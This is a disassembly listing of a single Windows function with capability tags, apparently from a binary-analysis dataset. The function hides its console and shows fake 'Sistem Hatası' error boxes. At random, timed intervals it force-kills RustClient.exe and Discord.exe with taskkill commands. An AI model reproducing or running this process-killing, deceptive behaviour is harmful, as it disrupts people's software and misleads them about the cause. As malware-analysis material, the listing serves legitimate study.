Function at 0x1400013b0
Capabilities:
Encode data using xor
Execute command
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1320]
mov eax, 0x1420
call fcn.140002820
sub rsp, rax
movaps xmmword [rsp + 0x1410], xmm6
movaps xmmword [rsp + 0x1400], xmm7
movaps xmmword [rsp + 0x13f0], xmm8
movaps xmmword [rsp + 0x13e0], xmm9
movaps xmmword [rsp + 0x13d0], xmm10
mov rax, qword [0x140005010]
xor rax, rsp
mov qword [rbp + 0x12c0], rax
movsd xmm8, qword [0x140003638]
movabs rsi, 0x311cdad160000
movsd xmm7, qword [0x140003640]
movabs r12, 0x7ffffff207b8a7ff
movsd xmm10, qword [0x140003630]
movabs r13, 0xdf8475800
movsd xmm9, qword [0x140003648]
movabs r15, 0x7fffffffffffffff
movabs r14, 0x112e0be826d694b3
xorps xmm6, xmm6
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x12b4], 0xffffffff
mov edx, 1
mov dword [rsp + 0x34], eax
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x34], eax
inc rdx
cmp rdx, 0x270
jb 0x140001490
mov edx, 0x270
movaps xmm1, xmm6
mov dword [rsp + 0x30], edx
movaps xmm2, xmm8
mov r10d, 2
cmp edx, 0x270
jne 0x140001522
lea r8, [rsp + 0x38]
mov r9d, edx
nop word [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x1400014e0
mov edx, dword [rsp + 0x30]
jmp 0x14000160f
cmp edx, 0x4e0
jb 0x14000160f
xor r8d, r8d
nop dword [rax]
nop word [rax + rax]
mov edx, dword [rbp + r8*4 + 0x8f4]
xor edx, dword [rbp + r8*4 + 0x8f8]
btr edx, 0x1f
xor edx, dword [rbp + r8*4 + 0x8f4]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [rbp + r8*4 + 0xf28]
xor ecx, edx
mov dword [rsp + r8*4 + 0x34], ecx
inc r8
cmp r8, 0xe3
jb 0x140001540
mov r8d, 0xe3
nop dword [rax]
mov edx, dword [rbp + r8*4 + 0x8f4]
xor edx, dword [rbp + r8*4 + 0x8f8]
btr edx, 0x1f
xor edx, dword [rbp + r8*4 + 0x8f4]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [rbp + r8*4 - 0x458]
xor ecx, edx
mov dword [rsp + r8*4 + 0x34], ecx
inc r8
cmp r8, 0x26f
jb 0x140001590
mov edx, dword [rbp + 0x12b0]
xor edx, dword [rsp + 0x34]
btr edx, 0x1f
xor edx, dword [rbp + 0x12b0]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, edx
xor ecx, dword [rbp + 0x564]
xor edx, edx
mov dword [rbp + 0x8f0], ecx
mov dword [rsp + 0x30], edx
mov eax, edx
xorps xmm0, xmm0
inc edx
mov ecx, dword [rsp + rax*4 + 0x34]
mov eax, ecx
shr eax, 0xb
and eax, dword [rbp + 0x12b4]
xor ecx, eax
mov dword [rsp + 0x30], edx
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
cvtsi2sd xmm0, rax
subsd xmm0, xmm6
mulsd xmm0, xmm2
mulsd xmm2, xmm7
addsd xmm1, xmm0
sub r10, 1
jne 0x1400014c5
divsd xmm1, xmm2
comisd xmm8, xmm1
jbe 0x140001900
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x12b4], 0xffffffff
mov edx, 1
mov dword [rsp + 0x34], eax
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x34], eax
inc rdx
cmp rdx, 0x270
jb 0x140001691
mov edx, 0x270
movaps xmm1, xmm6
mov dword [rsp + 0x30], edx
movaps xmm2, xmm8
mov r10d, 2
cmp edx, 0x270
jne 0x140001722
lea r8, [rsp + 0x38]
mov r9d, edx
nop word [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, edx
xor ecx, dword [r8 + 0x62c]
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x1400016e0
mov edx, dword [rsp + 0x30]
jmp 0x14000180f
cmp edx, 0x4e0
jb 0x14000180f
xor r8d, r8d
nop dword [rax]
nop word [rax + rax]
mov edx, dword [rbp + r8*4 + 0x8f4]
xor edx, dword [rbp + r8*4 + 0x8f8]
btr edx, 0x1f
xor edx, dword [rbp + r8*4 + 0x8f4]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [rbp + r8*4 + 0xf28]
xor ecx, edx
mov dword [rsp + r8*4 + 0x34], ecx
inc r8
cmp r8, 0xe3
jb 0x140001740
mov r8d, 0xe3
nop dword [rax]
mov edx, dword [rbp + r8*4 + 0x8f4]
xor edx, dword [rbp + r8*4 + 0x8f8]
btr edx, 0x1f
xor edx, dword [rbp + r8*4 + 0x8f4]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [rbp + r8*4 - 0x458]
xor ecx, edx
mov dword [rsp + r8*4 + 0x34], ecx
inc r8
cmp r8, 0x26f
jb 0x140001790
mov edx, dword [rbp + 0x12b0]
xor edx, dword [rsp + 0x34]
btr edx, 0x1f
xor edx, dword [rbp + 0x12b0]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, edx
xor ecx, dword [rbp + 0x564]
xor edx, edx
mov dword [rbp + 0x8f0], ecx
mov dword [rsp + 0x30], edx
mov eax, edx
xorps xmm0, xmm0
inc edx
mov ecx, dword [rsp + rax*4 + 0x34]
mov eax, ecx
shr eax, 0xb
and eax, dword [rbp + 0x12b4]
xor ecx, eax
mov dword [rsp + 0x30], edx
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
cvtsi2sd xmm0, rax
subsd xmm0, xmm6
mulsd xmm0, xmm2
mulsd xmm2, xmm7
addsd xmm1, xmm0
sub r10, 1
jne 0x1400016c6
divsd xmm1, xmm2
comisd xmm10, xmm1
ja 0x140001a03
lea r9d, [r10 + 0x10]
xor ecx, ecx
lea r8, str.RustClient.exe___Sistem_Hatas
lea rdx, [0x1400034d0]
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r9d, 0x10
lea r8, str.RustClient.exe___Sistem_Hatas
lea rdx, str.Kod_y
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, str.taskkill__f__im_RustClient.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r9d, 0x10
lea r8, str.Discord.exe___Sistem_Hatas
lea rdx, [0x1400034d0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r9d, 0x10
lea r8, str.Discord.exe___Sistem_Hatas
lea rdx, str.Kod_y
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, str.taskkill__f__im_Discord.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14000191e
imul rax, rax, 0x64
jmp 0x14000193c
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea rdi, [rax + r13]
cmp rax, r12
jl 0x140001948
mov rdi, r15
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140001966
imul rbx, rax, 0x64
jmp 0x140001987
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
mov rbx, rax
imul rax, rcx, 0x3b9aca00
add rbx, rax
cmp rbx, rdi
jge 0x140001471
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
imul rcx, rax, 0x64
xorps xmm0, xmm0
mov rax, rdi
sub rax, rbx
lea r8, [rcx + rsi]
cvtsi2sd xmm0, rax
comisd xmm0, xmm9
seta r9b
test r9b, r9b
jne 0x1400019be
lea r8, [rcx + rax]
add rax, rcx
lea rdx, [rcx + rsi]
test r9b, r9b
lea rcx, [rsp + 0x20]
cmove rdx, rax
mov rax, r14
imul rdx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul eax, edx, 0x3b9aca00
mov qword [rsp + 0x20], rdx
sub r8d, eax
mov dword [rsp + 0x28], r8d
call qword [sym.imp.MSVCP140.dll__Thrd_sleep]
jmp 0x140001948
call fcn.140001350
int3